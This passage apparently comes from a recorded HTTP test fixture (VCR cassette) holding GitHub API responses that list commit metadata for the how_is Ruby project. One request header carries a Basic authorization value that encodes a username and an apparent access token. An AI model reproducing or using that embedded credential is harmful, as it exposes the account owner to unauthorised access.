ived_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"53111080893207c329020fcd1c789f8535d1e9c7","url":"https://api.github.com/repos/how-is/how_is/commits/53111080893207c329020fcd1c789f8535d1e9c7","html_url":"https://github.com/how-is/how_is/commit/53111080893207c329020fcd1c789f8535d1e9c7"}]},{"sha":"53111080893207c329020fcd1c789f8535d1e9c7","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTMxMTEwODA4OTMyMDdjMzI5MDIwZmNkMWM3ODlmODUzNWQxZTljNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:47:18Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:47:18Z"},"message":"remove unnecessary blank line","tree":{"sha":"5a58c4c3f0963cecae7fd2b58b037f5e7acb499a","url":"https://api.github.com/repos/how-is/how_is/git/trees/5a58c4c3f0963cecae7fd2b58b037f5e7acb499a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/53111080893207c329020fcd1c789f8535d1e9c7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/53111080893207c329020fcd1c789f8535d1e9c7","html_url":"https://github.com/how-is/how_is/commit/53111080893207c329020fcd1c789f8535d1e9c7","comments_url":"https://api.github.com/repos/how-is/how_is/commits/53111080893207c329020fcd1c789f8535d1e9c7/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"1ee6127b1352eb79c2ef5fc3d0a8afcd1374beab","url":"https://api.github.com/repos/how-is/how_is/commits/1ee6127b1352eb79c2ef5fc3d0a8afcd1374beab","html_url":"https://github.com/how-is/how_is/commit/1ee6127b1352eb79c2ef5fc3d0a8afcd1374beab"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:45 GMT - request: method: get uri: https://api.github.com/repositories/54295243/commits?author=me@duckie.co&page=3&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:45 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3342' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"c41ea9ec06b83d466d92c9ca1e892cb6" Last-Modified: - Fri, 26 May 2017 05:46:40 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - EAA2:1E66:1FE858:45B6D3:5CC36AED body: encoding: ASCII-8BIT string: '[{"sha":"1ee6127b1352eb79c2ef5fc3d0a8afcd1374beab","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MWVlNjEyN2IxMzUyZWI3OWMyZWY1ZmMzZDBhOGFmY2QxMzc0YmVhYg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:46:40Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:46:40Z"},"message":"[spec/how_is_spec] add space after { in block.","tree":{"sha":"2eb5efc5dee0132c45dcca3f42f528aa3067ae0c","url":"https://api.github.com/repos/how-is/how_is/git/trees/2eb5efc5dee0132c45dcca3f42f528aa3067ae0c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/1ee6127b1352eb79c2ef5fc3d0a8afcd1374beab","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/1ee6127b1352eb79c2ef5fc3d0a8afcd1374beab","html_url":"https://github.com/how-is/how_is/commit/1ee6127b1352eb79c2ef5fc3d0a8afcd1374beab","comments_url":"https://api.github.com/repos/how-is/how_is/commits/1ee6127b1352eb79c2ef5fc3d0a8afcd1374beab/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"350a0587f90085a52f3ffb0632f631b5b2f9399c","url":"https://api.github.com/repos/how-is/how_is/commits/350a0587f90085a52f3ffb0632f631b5b2f9399c","html_url":"https://github.com/how-is/how_is/commit/350a0587f90085a52f3ffb0632f631b5b2f9399c"}]},{"sha":"350a0587f90085a52f3ffb0632f631b5b2f9399c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MzUwYTA1ODdmOTAwODVhNTJmM2ZmYjA2MzJmNjMxYjViMmY5Mzk5Yw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:46:26Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:46:26Z"},"message":"[RuboCop] don''t check block length in specs.","tree":{"sha":"bfadb58de41d8206528219aa08f22b6fa79d2a86","url":"https://api.github.com/repos/how-is/how_is/git/trees/bfadb58de41d8206528219aa08f22b6fa79d2a86"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/350a0587f90085a52f3ffb0632f631b5b2f9399c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/350a0587f90085a52f3ffb0632f631b5b2f9399c","html_url":"https://github.com/how-is/how_is/commit/350a0587f90085a52f3ffb0632f631b5b2f9399c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/350a0587f90085a52f3ffb0632f631b5b2f9399c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"2510648c6c892303f8e460871c6ab688d5dd98f5","url":"https://api.github.com/repos/how-is/how_is/commits/2510648c6c892303f8e460871c6ab688d5dd98f5","html_url":"https://github.com/how-is/how_is/commit/2510648c6c892303f8e460871c6ab688d5dd98f5"}]},{"sha":"2510648c6c892303f8e460871c6ab688d5dd98f5","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjUxMDY0OGM2Yzg5MjMwM2Y4ZTQ2MDg3MWM2YWI2ODhkNWRkOThmNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:41:14Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:41:14Z"},"message":"make Report.get_report_class actually private","tree":{"sha":"3441e0d245cb1bf1694d5e19777ec00e488121c8","url":"https://api.github.com/repos/how-is/how_is/git/trees/3441e0d245cb1bf1694d5e19777ec00e488121c8"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2510648c6c892303f8e460871c6ab688d5dd98f5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2510648c6c892303f8e460871c6ab688d5dd98f5","html_url":"https://github.com/how-is/how_is/commit/2510648c6c892303f8e460871c6ab688d5dd98f5","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2510648c6c892303f8e460871c6ab688d5dd98f5/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"fabd069c523f1a0a35d7f53326b9081e3b0f4c49","url":"https://api.github.com/repos/how-is/how_is/commits/fabd069c523f1a0a35d7f53326b9081e3b0f4c49","html_url":"https://github.com/how-is/how_is/commit/fabd069c523f1a0a35d7f53326b9081e3b0f4c49"}]},{"sha":"fabd069c523f1a0a35d7f53326b9081e3b0f4c49","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZmFiZDA2OWM1MjNmMWEwYTM1ZDdmNTMzMjZiOTA4MWUzYjBmNGM0OQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:39:47Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:39:47Z"},"message":"make HowIs.convert_keys actually a private method.","tree":{"sha":"0253fe1275b46da429607f52492b0ce8e42f95bf","url":"https://api.github.com/repos/how-is/how_is/git/trees/0253fe1275b46da429607f52492b0ce8e42f95bf"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/fabd069c523f1a0a35d7f53326b9081e3b0f4c49","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/fabd069c523f1a0a35d7f53326b9081e3b0f4c49","html_url":"https://github.com/how-is/how_is/commit/fabd069c523f1a0a35d7f53326b9081e3b0f4c49","comments_url":"https://api.github.com/repos/how-is/how_is/commits/fabd069c523f1a0a35d7f53326b9081e3b0f4c49/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"161a83fc4f6b0cdb7f9411d6865bc42077d9fb48","url":"https://api.github.com/repos/how-is/how_is/commits/161a83fc4f6b0cdb7f9411d6865bc42077d9fb48","html_url":"https://github.com/how-is/how_is/commit/161a83fc4f6b0cdb7f9411d6865bc42077d9fb48"}]},{"sha":"161a83fc4f6b0cdb7f9411d6865bc42077d9fb48","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTYxYTgzZmM0ZjZiMGNkYjdmOTQxMWQ2ODY1YmM0MjA3N2Q5ZmI0OA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:37:48Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:37:48Z"},"message":"[RuboCop] disable a few alignment-related cops because they conflict with intentional formatting.","tree":{"sha":"f850aa8063a2ea94b6e963a7aea80f4653714930","url":"https://api.github.com/repos/how-is/how_is/git/trees/f850aa8063a2ea94b6e963a7aea80f4653714930"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/161a83fc4f6b0cdb7f9411d6865bc42077d9fb48","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/161a83fc4f6b0cdb7f9411d6865bc42077d9fb48","html_url":"https://github.com/how-is/how_is/commit/161a83fc4f6b0cdb7f9411d6865bc42077d9fb48","comments_url":"https://api.github.com/repos/how-is/how_is/commits/161a83fc4f6b0cdb7f9411d6865bc42077d9fb48/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"94842013adc2a7c6d2a9daac86eda620fc8b1842","url":"https://api.github.com/repos/how-is/how_is/commits/94842013adc2a7c6d2a9daac86eda620fc8b1842","html_url":"https://github.com/how-is/how_is/commit/94842013adc2a7c6d2a9daac86eda620fc8b1842"}]},{"sha":"94842013adc2a7c6d2a9daac86eda620fc8b1842","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OTQ4NDIwMTNhZGMyYTdjNmQyYTlkYWFjODZlZGE2MjBmYzhiMTg0Mg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:26:46Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:26:46Z"},"message":"add comments telling past me they''re a bad programmer","tree":{"sha":"275265d207cb23d4db4fb7fe3ad3a8e1747805b2","url":"https://api.github.com/repos/how-is/how_is/git/trees/275265d207cb23d4db4fb7fe3ad3a8e1747805b2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/94842013adc2a7c6d2a9daac86eda620fc8b1842","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/94842013adc2a7c6d2a9daac86eda620fc8b1842","html_url":"https://github.com/how-is/how_is/commit/94842013adc2a7c6d2a9daac86eda620fc8b1842","comments_url":"https://api.github.com/repos/how-is/how_is/commits/94842013adc2a7c6d2a9daac86eda620fc8b1842/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"f47a0ad78cc7ff650eb6e381d8ac7e402b777b4d","url":"https://api.github.com/repos/how-is/how_is/commits/f47a0ad78cc7ff650eb6e381d8ac7e402b777b4d","html_url":"https://github.com/how-is/how_is/commit/f47a0ad78cc7ff650eb6e381d8ac7e402b777b4d"}]},{"sha":"f47a0ad78cc7ff650eb6e381d8ac7e402b777b4d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZjQ3YTBhZDc4Y2M3ZmY2NTBlYjZlMzgxZDhhYzdlNDAyYjc3N2I0ZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:12:23Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:12:23Z"},"message":"[spec/spec_helper] remove commented-out code.","tree":{"sha":"6712b8af92dc62cfb07e434f5c1392fc283950db","url":"https://api.github.com/repos/how-is/how_is/git/trees/6712b8af92dc62cfb07e434f5c1392fc283950db"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/f47a0ad78cc7ff650eb6e381d8ac7e402b777b4d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/f47a0ad78cc7ff650eb6e381d8ac7e402b777b4d","html_url":"https://github.com/how-is/how_is/commit/f47a0ad78cc7ff650eb6e381d8ac7e402b777b4d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/f47a0ad78cc7ff650eb6e381d8ac7e402b777b4d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"46b563c76ba329fc1a127696d1b980d2f26390a3","url":"https://api.github.com/repos/how-is/how_is/commits/46b563c76ba329fc1a127696d1b980d2f26390a3","html_url":"https://github.com/how-is/how_is/commit/46b563c76ba329fc1a127696d1b980d2f26390a3"}]},{"sha":"46b563c76ba329fc1a127696d1b980d2f26390a3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDZiNTYzYzc2YmEzMjlmYzFhMTI3Njk2ZDFiOTgwZDJmMjYzOTBhMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:10:23Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:10:23Z"},"message":"[Rakefile] add a comment explaining what HelperFunctions does","tree":{"sha":"db594b7e7b8820d0d997387dd329c51edfacdc9a","url":"https://api.github.com/repos/how-is/how_is/git/trees/db594b7e7b8820d0d997387dd329c51edfacdc9a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/46b563c76ba329fc1a127696d1b980d2f26390a3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/46b563c76ba329fc1a127696d1b980d2f26390a3","html_url":"https://github.com/how-is/how_is/commit/46b563c76ba329fc1a127696d1b980d2f26390a3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/46b563c76ba329fc1a127696d1b980d2f26390a3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"b3481f7abd96c0d479c3e7d3dc91f14b5283a03c","url":"https://api.github.com/repos/how-is/how_is/commits/b3481f7abd96c0d479c3e7d3dc91f14b5283a03c","html_url":"https://github.com/how-is/how_is/commit/b3481f7abd96c0d479c3e7d3dc91f14b5283a03c"}]},{"sha":"b3481f7abd96c0d479c3e7d3dc91f14b5283a03c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YjM0ODFmN2FiZDk2YzBkNDc5YzNlN2QzZGM5MWYxNGI1MjgzYTAzYw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:09:45Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:09:45Z"},"message":"don''t have RuboCop check the 